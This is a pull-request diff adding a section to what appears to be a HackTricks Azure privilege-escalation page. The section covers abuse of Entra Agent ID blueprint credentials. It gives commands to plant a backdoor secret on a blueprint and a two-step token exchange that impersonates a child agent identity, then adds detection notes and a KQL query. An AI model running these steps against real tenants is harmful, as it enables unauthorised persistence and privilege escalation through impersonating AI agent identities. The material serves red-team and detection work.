Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -273,6 +273,92 @@ If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","messa
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```


### Entra Agent ID blueprint credential abuse (`AgentIdentityBlueprint.AddRemoveCreds.All`)

**Agent identity blueprints** are application objects and each blueprint also creates an **agent identity blueprint principal** in the tenant. **Agent identities** are service-principal-derived children of that blueprint path. Therefore, if an attacker can **add a password/certificate to the blueprint** or already stole one of its credentials, they can later authenticate as the **blueprint principal** and request tokens for child agent identities.

This turns a bad Entra Agent ID role assignment into both:

- **Persistence**: the new `passwordCredential` remains on the blueprint until removed
- **Privilege escalation**: a low-trust/dev agent can cross into a different high-trust blueprint and then act as its child agents

Typical dangerous paths are:

- A compromised agent identity with **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- A compromised owner/sponsor/admin able to manage the blueprint
- Theft of an existing blueprint secret/certificate

Add a new secret to the target blueprint:

```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
--headers 'Content-Type=application/json' \
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
```

Or with Microsoft Graph PowerShell:

```powershell
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```

If the new credential is accepted, authenticate as the **blueprint principal** and abuse the Agent ID token exchange. The first request uses the blueprint credential and sets **`fmi_path`** to the target agent identity. The returned token is then reused as a **JWT bearer `client_assertion`** to obtain a Microsoft Graph token for that agent identity.

```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
--data-urlencode 'client_secret=<new-blueprint-secret>' \
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
```

```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=<token-from-previous-step>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```

> [!CAUTION]
> If a **dev** blueprint or its child agent can add credentials to a **prod** blueprint, the attacker crosses the expected blueprint/agent trust boundary and gains durable access to the target agent infrastructure.

Quick validation / scoping:

```powershell
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
$sp.AdditionalProperties['@odata.type']
$sp.AdditionalProperties['agentIdentityBlueprintId']

$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
$app.AdditionalProperties['@odata.type']
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```

Hunting notes:

- Look for **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md)
- Correlate **`AuditLogs`**, **`MicrosoftGraphActivityLogs`**, and **`AADServicePrincipalSignInLogs`** using time, service principal ID, user-agent, IP, and `SignInActivityId` / `UniqueTokenIdentifier`
- In `MicrosoftGraphActivityLogs`, check `RequestUri` ending in **`/applications/<id>/microsoft.graph.addPassword`** and whether `Roles` contains **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- In `AADServicePrincipalSignInLogs`, review `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType`, and whether the new key was later used

Minimal KQL to see whether the newly added secret authenticated:

```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```

This is related to generic [application credential abuse](../../az-services/az-azuread.md#applications) and [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), but Entra Agent ID adds a second stage where the blueprint credential can be exchanged into a **different agent identity token**.

### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`

This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
Expand Down Expand Up @@ -523,4 +609,11 @@ az rest --method GET \
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`

## References

- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)


{{#include ../../../../banners/hacktricks-training.md}}